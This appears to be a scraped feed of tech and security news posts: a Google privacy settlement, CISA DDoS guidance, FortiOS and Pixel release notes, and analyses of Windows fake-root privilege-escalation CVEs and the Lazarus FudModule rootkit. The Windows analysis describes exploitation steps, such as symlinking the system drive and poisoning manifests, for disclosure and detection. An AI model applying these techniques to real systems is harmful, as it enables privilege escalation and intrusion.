    I think after Relic failed with Company of Heroes 3 and ruined the series with this failure , SEGA might have lost more than it invested and realized it is not worth to keep Relic with their failing game CoH3.
    From a gaming giant in the old school gaming market, to a company that is laying off staff and developers.
    SeedTheNet
    Google Settles Lawsuit, Agrees to Delete Billions of Data Records from Chrome's Incognito Mode
    In a significant development regarding online privacy, Google has reached a settlement in a class-action lawsuit that accused the tech giant of collecting data from users' Chrome browsers while in Incognito mode without proper disclosure. This settlement marks a crucial step in addressing concerns about user privacy and data collection practices in one of the most widely used web browsers globally.
    The lawsuit, filed in June 2020, alleged that Google collected billions of data records from 136 million Chrome users in the United States while they were browsing in Incognito mode. This mode is designed to offer users a private browsing experience by not storing their browsing history or cookies. However, the lawsuit argued that Google's practices violated users' privacy expectations and failed to provide adequate transparency about data collection activities.
    As part of the settlement, Google has agreed to delete the data records collected from Chrome users in Incognito mode. This move is significant as it demonstrates Google's acknowledgment of the concerns raised by users and regulatory bodies regarding data privacy. By taking this action, Google aims to address the allegations of undisclosed data collection and improve transparency in its browser's privacy features.
    The case highlights broader issues surrounding online privacy and the challenges users face in maintaining control over their personal data while using digital services. Incognito mode, although intended to offer a level of privacy, has faced scrutiny for not providing complete anonymity or protection against tracking by websites and third-party entities.
    In response to the settlement, Google has reaffirmed its commitment to user privacy and stated that it will continue to enhance privacy features in Chrome to provide users with more control over their data. This includes improving transparency about data collection practices, implementing stricter privacy controls, and empowering users to make informed decisions about their online privacy settings.
    The resolution of this lawsuit serves as a reminder of the importance of transparency, accountability, and user empowerment in the digital age. It highlights the ongoing efforts by both technology companies and regulators to address privacy concerns and create a more privacy-conscious digital ecosystem that respects users' rights to data protection and control.
    SeedTheNet
    14 Mar 2024
    Authors
    Elsayed Elrefaei Ashraf Refaat Kaspersky GERT On August 8, 2023, Microsoft finally released a kernel patch for a class of vulnerabilities affecting Microsoft Windows since 2015. The vulnerabilities lead to elevation of privilege (EoP), which allows an account with user rights to gain SYSTEM privileges on a vulnerable host. The root cause of this attack surface, according to a 2015 blog, is the ability of a normal user account to replace the original C:\ drive with a fake one by placing a symlink for the system drives in the device map for each login session. This fake drive will be followed by the kernel during impersonation instead of the original system drive. More than five months after the patches for these vulnerabilities were released, we’re still seeing some of their exploits in the wild because it’s a very easy way to get a quick NT AUTHORITY\SYSTEM and that’s why it may be favored by well-known threat actors.
    We discussed these findings at the BlackHat MEA conference in November 2023, and in December 2023 and January 2024, we found two exploits that could still use this attack surface in the unpatched version of Windows. Both exploits are packed in UPX. After analyzing the first one, we saw that it was a packed version of a Google Project Zero PoC sample. The other sample was a packed version of an SSD Secure Disclosure public PoC, even using the same NamedPipe “\\\\.\\Pipe\\TyphoonPWN” without modifications. The PDB paths for both samples are:
    C:\Users\Administrator\source\repos\exp\x64\Release\exp.pdb C:\VVS-Rro\CVEs\spool\BitsPoc\src\x64\Release\PoC_BITs.pdb Below we will highlight the key points and then focus on how to check if any of the vulnerabilities have been exploited or if there have been any attempts to exploit them, and enumerate popular CVEs included in this vulnerable surface.
    Affected processes and services include native Windows services that run by default on most versions of the operating system. These include:
    CSRSS Windows Error Reporting (WER) File history service Background intelligence transfer service (BITS) Print Spooler Vulnerable Windows processes and services
    The exploits affecting this attack surface share a common logic or pattern, including:
    Searching for a DLL that runs with system integrity. The DLL has an isolation-aware manifest file. The ability to change the C:\ root to a writable directory via symlinks. CSRSS | CVE-2022-22047
    This Activation Context Cache Poisoning vulnerability leads to local privilege escalation. It’s one of the CVEs that was actively exploited by a threat actor called KNOTWEED | Denim Tsunami.
    Reversing the in-the-wild exploit for the CVE-2022-22047 shows:
    The exploit crafts a call into CSRSS. The call requests an activation context for a privileged executable and specifies a malicious manifest.
    The manifest uses an undocumented manifest XML attribute named loadFrom. This attribute allows unrestricted redirection of DLLs to any location on a disk, including locations outside of the normal search path, without even having to change the C:\ root drive.
    Here is a detailed blog post by ZDI explaining CSRSS Cache Poisoning.
    CSRSS | CVE-2022-37989
    The second vulnerability, involving CSRSS Cache Poisoning, was a workaround for the first CVE-2022-22047. After patching the undocumented “LoadFrom” attribute, there was another attribute that could be abused to load a manifest file from a user-controlled path by declaring a dependent assembly using path traversal in the name attribute.

    The patch for the CVE-2022-37989 was simple: check if the name attribute of the dependency contains any forward or backward slashes, and set a flag to stop caching this suspicious manifest if name path traversal is detected. This CVE was discovered by ZDI.
    Print Spooler | CVE-2022-29104
    Print Spooler is a service that runs by default in almost all versions of Windows. It’s responsible for managing paper print jobs sent from a computer to a printer or print server. Reversing in-the-wild exploits of the CVE-2022-29104 Print Spooler vulnerability shows that it’s a .NET sample that creates a symbolic link from C:\ to the fake root C:\Imprint. The sample was uploaded to VirusTotal.

    Fake C:\ drive structure:
    C:\Imprint\Windows\system32 C:\Imprint\Windows\WinSxS All folders inside the Imprint folder are writable, allowing an attacker to control their contents.
    Path traversal is added to “AssemblyIdentity” to point to the Imprint writable path.

    The vulnerability analysis shows that:
    An attacker can remap the root drive (C:\) for privileged processes during impersonation. During impersonation, all file accesses are performed using the DOS device map of the impersonated process. CSRSS uses a user-modified side-by-side manifest for generating the activation context instead of the manifest in the WinSxS folder C:\Windows\WinSxS. The WinSxS folder stores multiple copies of system files and components. The WinSxS folder provides a central location for storing different versions of system files that are shared by multiple applications and processes. The WinSxS folder provides system stability and compatibility by allowing different applications to use the specific versions of files they need. WinSxS avoids DLL hell, a problem that occurs when different applications require different versions of the same DLL. The Windows operating system uses the application manifest to determine which version is appropriate for which app.
    The application manifest is stored in XML format and describes:
    The dependencies associated with the application. What permissions the application requires. What compatibility settings the application supports. CSRSS mitigation was enabled for spoolsv.exe and printfilterpipelinesvc.exe to stop impersonation while loading external resources, and then to resume impersonation after the external resources are loaded.
    Print Spooler | CVE-2022-41073
    After CVE-2022-29104 was patched, another vulnerability affecting Print Spooler was discovered – CVE-2022-41073. Reversing the in-the-wild exploit of this vulnerability shows some XML manipulation using path traversal to a writable path containing a modified version of prntvpt.dll that is loaded by Print Spooler.

    According to Project Zero, mitigation was added to CSRSS, the patch simply stopped any impersonation prior to the LoadLibraryExW call in winspool!LoadNewCopy, and then resumed it.
    After that the LoadLibraryExW call returned:
    + if (RevertToProcess(&TokenHandle, x) >= 0) { lib = LoadLibraryExW(arg1, 0, dwFlags); + ResumeImpersonation(TokenHandle); + } 1 2 3 4 + if (RevertToProcess(&TokenHandle, x) >= 0) {   lib = LoadLibraryExW(arg1, 0, dwFlags); +   ResumeImpersonation(TokenHandle); + } NtOpenFile is called with the OBJ_IGNORE_IMPERSONATED_DEVICEMAP flag. It will stop impersonation when loading any external resources while using the LoadNewCopy API. Stopping impersonation means that privileged processes will not use the fake root implemented with the medium integrity process, and instead it will use the original C:\ drive root to avoid loading untrusted or malicious resources.
    Windows Error Reporting | CVE-2023-36874
    Windows Error Reporting (WER) is a privileged service that analyzes and reports various software issues in Windows. The root cause for the exploitation of the CVE-2023-36874 vulnerability is CreateProcess API when a crash happens, because CreateProcess API can be tricked into following the fake root and creating the process from this writable fake root in the context of the privileged WER service, leading to privilege escalation.
    CVE-2023-36874 was exploited in the wild and has several published PoCs. The exploit interacts with the IWerReport COM interface and calls SubmitReport, then UtilLaunchWerManager is called, which calls CreateProcess. CreateProcess API is then vulnerable to DoS device modification.

    Once the exploit to submit a fake crash report is executed, it will end up calling the vulnerable CreateProcess API.
    File History Service | CVE-2023-35359
    File History Service can be used to automatically back up personal folders and files such as documents, pictures and videos. Reversing the in-the-wild exploit shows that when File History Service starts, it impersonates the current user and then loads a DLL called fhcfg.dll under impersonation. This DLL has an “application aware manifest config” that attempts to load another resource called msasn1.dll. The exploit starts with the usual technique of changing the C:\ root to a fake writable root.

    Windows Error Reporting – 2nd exploit | CVE-2023-35359
    After patching the first Windows Error Reporting vulnerability, which used the CreateProcess API inside the privileged WER service and follows the fake root to create a process. The patched WER service started using CreateProcessAsUser instead of CreateProcess API. However, after that patch, adversaries found another way that could lead to the use of CreateProcess again under certain conditions, which was considered a new vulnerability. For example, if the WER service was marked as disabled on a system and there was a privileged process impersonating a medium-integrity user on that system, and an unhandled exception occurs during impersonation that results in a crash, that crash tries to enable the WER service for reporting. The detailed analysis for this CVE shows that it does not appear to be exploitable.
    The exploitation of CVE-2023-35359
    BITS | CVE-2023-35359
    The Background Intelligence Transfer Service (BITS) is responsible for facilitating the asynchronous and prioritized transfer of files between a client and a server. BITS operates in the background, which means it can perform file transfers without interrupting a user or consuming all of the available network.
    You may notice that the number CVE-2023-35359 has not changed for the last three CVEs because Microsoft decided in the last patch to assign the same CVE to all vulnerabilities of this type. So there are different vulnerabilities in different processes/services but with the same CVE number.
    Timeline for the bypassing/patching process from 2015 to August 2023
    How was the patch for this attack surface applied?
    The patch was applied to ObpLookupObjectName to check if the loaded resource is a file object and the call to ObpUseSystemDeviceMap succeeds. It then ignores the impersonation and uses SystemDevice.

    ObpLookupObjectName checks FileObjectType followed by a call to ObpUseSystemDeviceMap.

    The ObpUseSystemDeviceMap function checks for the SystemDevice to be used instead of the impersonated device.
    How to check if a vulnerability was exploited or any attempts were made to exploit it?
    When analyzing most of the exploits targeting this attack surface, we observed a common behavior that could be used as an indicator of whether there were any attempted exploits:
    Most of the in-the-wild exploits create a writable folder inside the C:\ drive, and the structure of this folder mimics the structure of the original C:\ drive, for example: C:\Windows\System32 → C:\FakeFolder\Windows\System32 C:\Windows\WinSxS → C:\FakeFolder\Windows\WinSxS So finding a writable folder that mimics the C:\ drive folder structure may be an indicator of an exploitation attempt. Copying the manifest files from the original WinSxS folder in C:\Windows\WinSxS to a writable directory and modifying them could be a good indicator of an exploitation attempt. Manifest files that contain undocumented XML attributes such as “LoadFrom” or manifest files that contain path traversal in the “name” attribute could be a valid sign of an exploitation attempt. Creating a symbolic link from the original system drive to a writable directory, especially from processes with medium integrity using the \RPC Control\ object directory.
    SeedTheNet
    The United States government has recently updated its Distributed Denial of Service (DDoS) guidelines on March 2024
    The updated guidelines, released by the Cybersecurity and Infrastructure Security Agency (CISA), provide comprehensive recommendations and best practices to mitigate the impact of DDoS attacks. These guidelines are designed to help organizations across various sectors, including government agencies, private enterprises, and critical infrastructure operators, better defend against and respond to DDoS incidents.
     
    DoS and DDoS A DoS and a DDoS attack are similar in that they both aim to disrupt the availability of a target system or network. However, there are key differences between the two.
    1. DoS Attack: A DoS attack involves a single source used to overwhelm the target system with a flood of traffic or resource-consuming requests. The malicious actor typically uses one computer or a small number of computers to generate the attack. The goal of a DoS attack is to render the target system unavailable to its intended users and deny them access to resources or services.
    2. DDoS Attack: A DDoS attack involves multiple sources. Often, a multitude of compromised computers—known as botnets—are coordinated to launch the attack. Each machine in the botnet sends a flood of traffic or requests to the target system simultaneously to amplify the follow-on impact. Due to the distributed nature of a DDoS attack, defending targeted networks has increased difficulty compared to a DoS attack. The main advantage of a DDoS attack over a DoS attack is the ability to generate a significantly higher volume of traffic, overwhelming the target system’s resources to a greater extent. DDoS attacks can also employ various techniques, such as IP spoofing, which involves a malicious actor manipulating the source IP address and botnets to disguise the origin of the attack and make it more difficult to trace it back to them. In terms of impact, both DoS and DDoS attacks can disrupt the availability of a targeted system or network, leading to service outages, financial losses, and reputational damage.

    DoS and DDoS Attacks Categorized Into Three Technique Types
    1. Volume-Based Attacks: These attacks aim to consume the available bandwidth or system resources of the target by overwhelming it with a massive volume of traffic. The goal is to saturate the network or exhaust the target’s resources, rendering it unable to handle legitimate requests.

    Source : Taken from the PDF file, rest can be found in the bottom of the post with the PDF Link.
    The updated guidelines underscore the evolving nature of cyber threats and the need for proactive measures to safeguard digital assets and critical infrastructure. By adopting these guidelines and investing in cybersecurity measures, organizations can strengthen their resilience against DDoS attacks and contribute to a more secure cyber landscape.
     
    The guideline can be found here : https://www.cisa.gov/sites/default/files/2024-03/Understanding and Responding to Distributed Denial-of-Service Attacks_508c.pdf
    SeedTheNet
    WARNING: Global themes and widgets created by 3rd party developers for Plasma can and will run arbitrary code. You are encouraged to exercise extreme caution when using these products.
    A user has had a bad experience installing a global theme on Plasma and lost personal data.
    https://www.reddit.com/r/kde/comments/1bixmbx/do_not_install_global_themes_some_wipe_out_all/

    Global themes change the look of Plasma, but also the behavior. To do this they run code, and this code can be faulty, as in the case mentioned above. The same goes for widgets and plasmoids.
     



    For now as CAUTION , better not to download any custom themes for Plasma KDE Linux
    https://floss.social/@kde/112128243960545659
     
    SeedTheNet
    Due to cheats being used in the Final , the Tournament was postponed and a twitter post by Apex Legends Esports states the following :

    While Easy Anti Cheat stating this after

    According to PCGAMESN website that :
    Midway through their match on Storm Point, TSM’s Phillip ‘ImperialHal’ Dosen and DarkZero’s Noyan ‘Genburten’ Ozkose were both hit by what appears to be an RCE hack, meaning that the bad actor could, in theory, manipulate elements of their games.
    As a result, both players had their cheats toggled on instead of off, hence Hal’s “I’ve got an aimbot.”Additionally, as the hack went through, a bizarre message seems to have popped up on Genburten’s screen, showing that cheats were, in fact, switched on mid-match.
    As a result, Respawn terminated the match, officially stating that “due to the competitive integrity of this series being compromised, we have made the decision to postpone the NA finals at this time.
    We will share more  information soon.”

    ---
    It is quite weird and funny how even in Tournaments , Gamers will still try to cheat while the Anti-Cheat software or the people who monitor are almost useless.
    Paying a license to anticheat software as a developer that won't be able to protect your game even in a country wide tournament.. is quite an astonishing disappointment.
    EAC clarifying that their software is not vulnerable but not clarifying about the cheat being un-detected is also more funny.

    Gamers were hacking their way to the 2 millions
    SeedTheNet
    Resolved issues
    7.0.14  Application Control
    Bug ID
    Description
    820481
    For firewall policies using inspection-mode proxy, some HTTP/2 sessions may be invalidly detected as unknown application.
    DNS Filter
    Bug ID
    Description
    907365
    DNS proxy caches DNS responses with only one CNAME record.
    Endpoint Control
    Bug ID
    Description
    979811
    The ZTNA channel is not cleaned when overwriting old lls entries.
    Explicit Proxy
    Bug ID
    Description
    901627
    Explicit proxy and SD-WAN fail to match a policy if the destination has multiple zones set.
    942612
    Web proxy forward server does not convert HTTP version to the original version when sending them back to the client.
    978473
    Explicit proxy policy function issues when matching external-threat feed categories.
    Firewall
    Bug ID
    Description
    898938
    NAT64 does not recover when the interface changes.
    953907
    Virtual wire pair interface drops all packet if the prp-port-in/prp-port-out setting is configured under system npu-setting prp on FG-101F. 977641
    In transparent mode, multicast packets are not forwarded through the bridge and are dropped.
    GUI
    Bug ID
    Description
    848660
    Read-only administrator may encounter a Maximum number of monitored interfaces reached error when viewing an interface bandwidth widget for an interface that does not have the monitor bandwidth feature enabled.
    867802
    GUI always displays Access denied error after logging in.
    874502
    A prompt to Login as ReadOnly/ReadWrite is not displayed when post-login-banner is enabled on a FortiGate managed by FortiManager.
    969101
    Managed FortiAP-s page is not loading for non super-admin users.
    HA
    Bug ID
    Description
    871636
    HA configuration synchronization packets (Ethertype 0x8893) are dropped when going through VXLAN.
    904117
    When walking through the session list to change the ha_id, some dead sessions could be freed one more time.
    924671
    There is no response on ha-mgmt-interfaces after a reboot when using a VLAN interface based on hd-sw as the ha-mgmt interface.
    937246
    An error condition occurred while forwarding over a VRRP address, caused by the creation of a new VLAN.
    949352
    The user.radius checksum is the same in both HA units, but the GUI shows a different checksum on the secondary and the HA status is out of sync.
    962681
    In a three member A-P cluster, the dhcp lease list (execute dhcp lease-list) might be empty on secondary units.
    Hyperscale
    Bug ID
    Description
    839958
    service-negate does not work as expected in a hyperscale deny policy.
    940511
    In some cases, carrier-grade NAT is dropping traffic.
    984852
    The HA/AUX ports are not enabled on boot up when using the NPU path option.
    Intrusion Prevention
    Bug ID
    Description
    923393
    IPS logs show incorrect source and destination IP addresses and policy IDs, and the ports are zeros.
    IPsec VPN
    Bug ID
    Description
    897867
    IPsec VPN between two FortiGates (100F and 60F) experiences slow throughput compared to the available underlay bandwidth.
    898961
    diagnose traffictest issues with dynamic IP addresses and loopback interfaces.
    914418
    File transfer stops after a while when offloading is enabled.
    921691
    In FGSP, IKE routes are not removed from the kernel when secondary-add-ipsec-routes is disabled.
    926002
    Incorrect traffic order in IPsec aggregate redundant member list after upgrade.
    945873
    Inconsistency of mode-cfg between phase 1 assigned IP address and destination selector addition.
    950012
    IPsec tunnels stuck on NP6XLite spoke drop the ESP packet.
    950445
    After a third-party router failover, traffic traversing the IPsec tunnel is lost.
    961305
    FortiGate is sending ESP packets with source MAC address of port1 HA virtual MAC address.
    968218
    When the IPsec tunnel destination MAC address is changed, tunnel traffic may stop.
    Log & Report
    Bug ID
    Description
    940814
    Administrators without read permissions for the threat weight feature cannot see the event log menu.
    954565
    Although there is enough disk space for logging, IPS archive full message is shown.
    965247
    FortiGate syslog format in reliable transport mode is not compliant with RFC 6587.
    967692
    The received traffic counter is not increasing when the traffic is HTTPS with webfilter.
    987261
    In the webfilter content block UTM log in proxy inspection mode, sentbyte and rcvdbyte are zero.
    Proxy
    Bug ID
    Description
    790426
    An error case occurs in WAD while redirecting the web filter HTTPS sessions.
    806556
    Unexpected behavior in WAD when the ALPN is set to http2 in the ssl-ssh-profile.
    828917, 919781
    Unexpected behavior in WAD when there are multiple LDAP servers configured on the FortiGate.
    845361
    A rare error condition occurred in WAD caused by compounded SMB2 requests.
    940149
    Inadvertent traffic disruption caused by WAD when it receives an HTTP2 data frame payload on a dead stream.
    947814
    Too many redirects on TWPP after the second KRB keytab is configured.
    954104
    An error case occurs in WAD when WAD gets the external authenticated users from other daemons.
    Routing
    Bug ID
    Description
    781483
    Incorrect BGP Originator_ID from route reflector seen on receiving spokes.
    890954
    The change of an IPv6 route does not mark sessions as dirty nor trigger a route change.
    897666
    Issue with SD-WAN rule for FortiGuard.
    914815
    FortiGate 40F-3G4G not adding LTE dynamic route to route table.
    926525
    Routing information changed log is being generated from secondary in an HA cluster.
    952908
    Locally originated type 5 and 7 LSAs' forward address value is incorrect.
    954100
    Packet loss status in SD-WAN health check occur after an HA failover.
    Security Fabric
    Bug ID
    Description
    782518
    Threat feeds are showing that the connection status has not started when it should be connected.
    841364
    Cisco APIC SDN update times out on large datasets.
    956423
    In HA, the primary unit may sometimes show a blank GUI screen.
    SSL VPN
    Bug ID
    Description
    894704
    FortiOS check would block iOS and Android mobile devices from connecting to the SSL VPN tunnel.
    898889
    The internal website does not load completely with SSL VPN web mode.
    906756
    Update SSL VPN host check logic for unsupported OS.
    957406
    OS checklist for SSL VPN in FortiOS does not include macOS Sonoma 14.
    Switch Controller
    Bug ID
    Description
    816790
    Console printed DSL related error messages when disconnecting the managed FortiSwitch and connecting to the FortiGate again.
    858749
    Redirected traffic should not hit the firewall policy when allow-traffic-redirect is enabled.
    911232
    Security rating shows an incorrect warning for unregistered FortiSwitches on the WiFi & Switch Controller > Managed FortiSwitches.
    937065
    An exported FortiSwitch port is not correctly showing up/down status.
    System
    Bug ID
    Description
    631046
    diagnose sys logdisk smart does not work for NVMe disk models.
    733096
    FG-100F HA secondary's unused ports flaps from down to up, then to down.
    763739
    On FG-200F, the Outbound bandwidth in the Bandwidth widget does not match outbandwidth setting.
    861661
    SNMP OID 1.3.6.1.2.1.4.32 ipAddressPrefixTable is not available.
    882187
    FortiGate enters conserve mode in a few hours after enabling UTM on the policies.
    888655
    FortiGate queries system DNS for A <Root> and AAAA <Root> servers.
    894045
    Sensor information widget continuously loading.
    909225
    ISP traffic is failing with the LAG interfaces on upstream switches.
    910700
    Ports are flapping and down on the FortiGate 3980E.
    912092
    FortiGate does not send ARP probe for UDP NP-offloaded sessions.
    916493
    Fail detection function does not work properly on X1 and X2 10G ports.
    919901
    For FIPS-CC mode, the strict check for basic constraints should be removed for end entity certificates.
    926817
    Review the temperature sensor for the SoC4 system.
    929904
    When L3 or L4 hashing algorithm is used, traffic is not forwarded over the same aggregate member after being offloaded by NP7.
    937982
    High CPU usage might be observed on entry-level FortiGates if the cache size reaches 10% of the system memory.
    938174
    ARP issue with VXLAN over IPsec and Soft Switch.
    938981
    The virtual server http-host algorithm is redirecting requests to an unexpected server.
    943948
    FortiGate as L2TP client is not working with Cisco ASR as L2TP server.
    946413
    Temperature sensor value missing for FG-180xF, FG-420xF, and FG-440xF platforms.F
    947240
    FortiGate is not able to resolve ARPs of few hosts due to their ARP replies not reaching the primary FPM.
    955074
    MSS clamping is not working on VXLAN over IPsec after upgrading.
    960707
    Egress shaping does not work on NP when applied on the WAN interface.
    962153
    A port that uses a copper-transceiver does not update the link status in real-time.
    963600
    SolarWinds unable to negotiate encryption, no matching host key type found.
    966761
    SNMP OID 1.3.6.1.2.1.4.34.1.5 ipAddressPrefix is not fully implemented.
    971404
    Session expiration does not get updated for offloaded traffic between a specific host range.
    977231
    An error condition occurred in fgfm caused by an out-of-band management configuration.
    User & Authentication
    Bug ID
    Description
    837185
    Automatic certificate name generation is the same for global and VDOM remote certificates, which can cause certificates to exist with the same name. 864703
    ACME client fails to work with some CA servers.
    868994
    FortiGate receives FSSO user in the format of HOSTNAME$.
    VM
    Bug ID
    Description
    938382
    OpenStack Queens FortiGate VM HA heartbeat on broadcast is not working as expected.
    968740
    Unexpected behavior in awsd caused by tags with an empty value on AWS instances while adding a new AWS Fabric connector.
    WAN Optimization
    Bug ID
    Description
    954541
    In WANOpt transparent mode, WAN optimization does not keep the original source address of the packets.
    Web Filter
    Bug ID
    Description
    925801
    Custom Images are not seen on Web Filter block replacement page for HTTP traffic in flow mode.
    982156
    The URL local/user category rating result has only one best match category (longest URL pattern match), and other matched local/user categories cannot be chosen even if the category is configured in the profile.
    WiFi Controller
    Bug ID
    Description
    874997
    Fetching the registration status does not always work.
    Common Vulnerabilities and Exposures
    Visit https://fortiguard.com/psirt for more information.
    Bug ID
    CVE references
    956553
    FortiOS 7.0.14 is no longer vulnerable to the following CVE Reference:
    CVE-2024-23112 959918
    FortiOS 7.0.14 is no longer vulnerable to the following CVE Reference:
    CVE-2023-38545
    989429
    FortiOS 7.0.14 is no longer vulnerable to the following CVE Reference:
    CVE-2024-21762 993323
    FortiOS 7.0.14 is no longer vulnerable to the following CVE Reference:
    CVE-2024-23113
    SeedTheNet
    Google Pixel Update - Mar 2024
    Hello Pixel Community,   We have provided the monthly software update for March 2024. All supported Pixel devices running Android 14 will receive these software updates starting today. The rollout will continue over the next week in phases depending on carrier and device. Software for US Carriers will be available starting next week. Users will receive a notification once the OTA is available for their device. We encourage you to check your Android version and update to receive the latest software.    Details of this month’s security fixes can be found on the Android Security Bulletin: https://source.android.com/security/bulletin   Thanks, Google Pixel Support Team  
    Software versions   Global Pixel 5a (5G):     AP1A.240305.019.A1 Pixel 6:                AP1A.240305.019.A1 Pixel 6 Pro:         AP1A.240305.019.A1 Pixel 6a:              AP1A.240305.019.A1 Pixel 7:                AP1A.240305.019.A1 Pixel 7 Pro:         AP1A.240305.019.A1 Pixel 7a:              AP1A.240305.019.A1 Pixel Tablet:       AP1A.240305.019.A1 Pixel Fold:           AP1A.240305.019.A1 Pixel 8:                AP1A.240305.019.A1 Pixel 8 Pro:        AP1A.240305.019.A1   What’s included   The March 2024 update includes bug fixes and improvements for Pixel users – see below for details.   Apps General improvements for stability and performance with certain system apps *[4]   Assistant Fix for assistant not responding to verbal commands in certain conditions *[11]   Biometrics General improvements for fingerprint recognition and response in certain conditions *[3]   Bluetooth Fix for audio quality issue with connected bluetooth devices under certain conditions *[3] Fix for issue causing Bluetooth to stop functioning under certain conditions *[6]   Camera Fix for issue causing camera to stop functioning in certain conditions *[8]   Display & Graphics Fix for brightness changes in photo and video under certain conditions *[8] Fix for issue occasionally causing display to turn green in certain conditions *[8] General improvements to display stability and performance in certain conditions *[11]   Framework Fix for issue in launching Google Play store app under certain conditions *[4] Fix for issue in using multi-finger gestures under certain conditions *[3] General improvements for system stability and performance in certain conditions *[6]   Media Fix for issue in playing video on Google TV under certain conditions *[5]   Sensors Fix for issue causing vibrations on new texts to stop working in certain conditions *[3] Fix for issue occasionally causing vibrations on new texts to stop working in certain conditions *[2]   System General improvements for system stability and performance in certain conditions *[1]   Telephony Fix for issue in routing calls to connected bluetooth devices under certain conditions *[9]  Fix for issue occasionally occurring when WiFi icon shows during an ongoing call after WiFi is disabled.  *[2] Fix for issue unable to make or receive calls occasionally in certain conditions *[4] Fix for issue with mobile data not switching correctly in certain conditions *[2]  Fix for issue with voice distortion when making calls *[7]   User Interface Additional improvements for face unlock stability in certain conditions *[3] Fix for issue causing game dashboard to stop functioning under certain conditions *[9] Fix for issue occasionally causing home screen icons to appear invisible *[4] Fix for issue occasionally causing the wallpaper to get stuck or go dark *[12] Fix for issue with animations during transitions in certain conditions*[13] Fix for issue with incorrect app icons showing under certain conditions *[6] Fix for issue with incorrect internet connection status during transitions in certain conditions *[4] Fix for issue with layouts and animations during transitions in certain conditions *[4] Fix for issue with the notification color theme in certain conditions *[10] Fix for taskbar icons and navigation buttons not working in certain conditions *[14] General improvements for performance and stability in certain UI transitions and animations *[4] General improvements for performance in certain UI transitions *[8]   Wi-Fi General improvements for WiFi connection stability and performance in certain conditions*[11]    ---------------------------------------------------------------------------------------------------------------   Device Applicability   Fixes are available for all supported Pixel devices unless otherwise indicated below. Some fixes may be Carrier/Region specific.    *[1] Pixel 5a (5G), Pixel 6, Pixel 6 Pro, Pixel 6a, Pixel 7, Pixel 7 Pro, Pixel 7a, Pixel 8, Pixel 8 Pro, Pixel Fold *[2] Pixel 6, Pixel 6a, Pixel 6 Pro *[3] Pixel 6, Pixel 6 Pro, Pixel 6a, Pixel 7, Pixel 7 Pro, Pixel 7a, Pixel 8, Pixel 8 Pro *[4] Pixel 6, Pixel 6 Pro, Pixel 6a, Pixel 7, Pixel 7 Pro, Pixel 7a, Pixel 8, Pixel 8 Pro, Pixel Fold *[5] Pixel 6, Pixel 6 Pro, Pixel 6a, Pixel 7, Pixel 7 Pro, Pixel 7a, Pixel 8, Pixel 8 Pro, Pixel Tablet *[6] Pixel 6, Pixel 6 Pro, Pixel 6a, Pixel 7, Pixel 7 Pro, Pixel 7a, Pixel 8, Pixel 8 Pro, Pixel Fold, Pixel Tablet *[7] Pixel 7a *[8] Pixel 7, Pixel 7 Pro, Pixel 7a, Pixel 8, Pixel 8 Pro *[9] Pixel 7, Pixel 7 Pro, Pixel 7a, Pixel 8, Pixel 8 Pro, Pixel Fold *[10] Pixel 7, Pixel 7 Pro, Pixel 7a, Pixel 8, Pixel 8 Pro, Tablet *[11] Pixel 8, Pixel 8 Pro *[12] Pixel 8, Pixel 8 Pro, Pixel Fold *[13] Pixel Fold, Pixel Tablet *[14] Pixel Tablet     https://support.google.com/pixelphone/thread/262118597/google-pixel-update-mar-2024?hl=en
    SeedTheNet
    Key Points
    Avast discovered an in-the-wild admin-to-kernel exploit for a previously unknown zero-day vulnerability in the appid.sys AppLocker driver.  Thanks to Avast’s prompt report, Microsoft addressed this vulnerability as CVE-2024-21338 in the February Patch Tuesday update.  The exploitation activity was orchestrated by the notorious Lazarus Group, with the end goal of establishing a kernel read/write primitive.  This primitive enabled Lazarus to perform direct kernel object manipulation in an updated version of their data-only FudModule rootkit, a previous version of which was analyzed by ESET and AhnLab.  After completely reverse engineering this updated rootkit variant, Avast identified substantial advancements in terms of both functionality and stealth, with four new – and three updated – rootkit techniques.  In a key advancement, the rootkit now employs a new handle table entry manipulation technique in an attempt to suspend PPL (Protected Process Light) protected processes associated with Microsoft Defender, CrowdStrike Falcon, and HitmanPro.  Another significant step up is exploiting the zero-day vulnerability, where Lazarus previously utilized much noisier BYOVD (Bring Your Own Vulnerable Driver) techniques to cross the admin-to-kernel boundary.  Avast’s investigation also recovered large parts of the infection chain leading up to the deployment of the rootkit, resulting in the discovery of a new RAT (Remote Access Trojan) attributed to Lazarus.  Technical details concerning the RAT and the initial infection vector will be published in a follow-up blog post, scheduled for release along with our Black Hat Asia 2024 briefing.  Introduction 
    When it comes to Windows security, there is a thin line between admin and kernel. Microsoft’s security servicing criteria have long asserted that “[a]dministrator-to-kernel is not a security boundary”, meaning that Microsoft reserves the right to patch admin-to-kernel vulnerabilities at its own discretion. As a result, the Windows security model does not guarantee that it will prevent an admin-level attacker from directly accessing the kernel. This isn’t just a theoretical concern. In practice, attackers with admin privileges frequently achieve kernel-level access by exploiting known vulnerable drivers, in a technique called BYOVD (Bring Your Own Vulnerable Driver). 
    Microsoft hasn’t given up on securing the admin-to-kernel boundary though. Quite the opposite, it has made a great deal of progress in making this boundary harder to cross. Defense-in-depth protections, such as DSE (Driver Signature Enforcement) or HVCI (Hypervisor-Protected Code Integrity), have made it increasingly difficult for attackers to execute custom code in the kernel, forcing most to resort to data-only attacks (where they achieve their malicious objectives solely by reading and writing kernel memory). Other defenses, such as driver blocklisting, are pushing attackers to move to exploiting less-known vulnerable drivers, resulting in an increase in attack complexity. Although these defenses haven’t yet reached the point where we can officially call admin-to-kernel a security boundary (BYOVD attacks are still feasible, so calling it one would just mislead users into a false sense of security), they clearly represent steps in the right direction. 
    From the attacker’s perspective, crossing from admin to kernel opens a whole new realm of possibilities. With kernel-level access, an attacker might disrupt security software, conceal indicators of infection (including files, network activity, processes, etc.), disable kernel-mode telemetry, turn off mitigations, and more. Additionally, as the security of PPL (Protected Process Light) relies on the admin-to-kernel boundary, our hypothetical attacker also gains the ability to tamper with protected processes or add protection to an arbitrary process. This can be especially powerful if lsass is protected with RunAsPPL as bypassing PPL could enable the attacker to dump otherwise unreachable credentials.  
    For more specific examples of what an attacker might want to achieve with kernel-level access, keep reading this blog – in the latter half, we will dive into all the techniques implemented in the FudModule rootkit. 
    Living Off the Land: Vulnerable Drivers Edition 
    With a seemingly growing number of attackers seeking to abuse some of the previously mentioned kernel capabilities, defenders have no choice but to hunt heavily for driver exploits. Consequently, attackers wishing to target well-defended networks must also step up their game if they wish to avoid detection. We can broadly break down admin-to-kernel driver exploits into three categories, each representing a trade-off between attack difficulty and stealth. 
    N-Day BYOVD Exploits 
